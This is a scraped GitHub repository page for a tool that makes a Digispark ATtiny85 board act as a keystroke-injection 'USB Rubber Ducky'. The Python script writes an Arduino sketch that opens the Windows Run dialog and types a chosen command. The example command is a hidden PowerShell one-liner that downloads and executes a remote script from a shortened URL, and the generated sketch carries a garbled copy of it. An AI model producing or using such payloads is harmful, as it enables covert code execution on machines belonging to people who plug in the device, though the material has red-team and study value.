DanielRTeixeira / DigiKeyBoard

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Digispark ATtiny85 a Cheap "USB Rubber Ducky"

##Usage $ python DigiDuck.py Enter command to execute: [COMMAND]

##Example

$ python DigiDuck.py
Enter command to execute: powershell -window hidden IEX (New-Object System.Net.Webclient).DownloadString('https://tinyurl.com/z766ych')
Attack.ino file created successfully!

##Output

#define KEY_DELETE 76

  void setup() {
  DigiKeyboard.update();
}

void loop() {
  delay(100);
  DigiKeyboard.update();
  delay(100);
  
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  delay(100);
  DigiKeyboard.sendKeyStroke(KEY_DELETE);
  delay(50);
  DigiKeyboard.println("powershell /window hidden IEX *New/Object System.Net.Webclient(.DownloadString*-https>&&tinyurl.com&z766ych-(");
  delay(900000);
}

##Creds http://0xdeadcode.se/archives/581

About


Languages

Language:Python 75.5%Language:Arduino 24.5%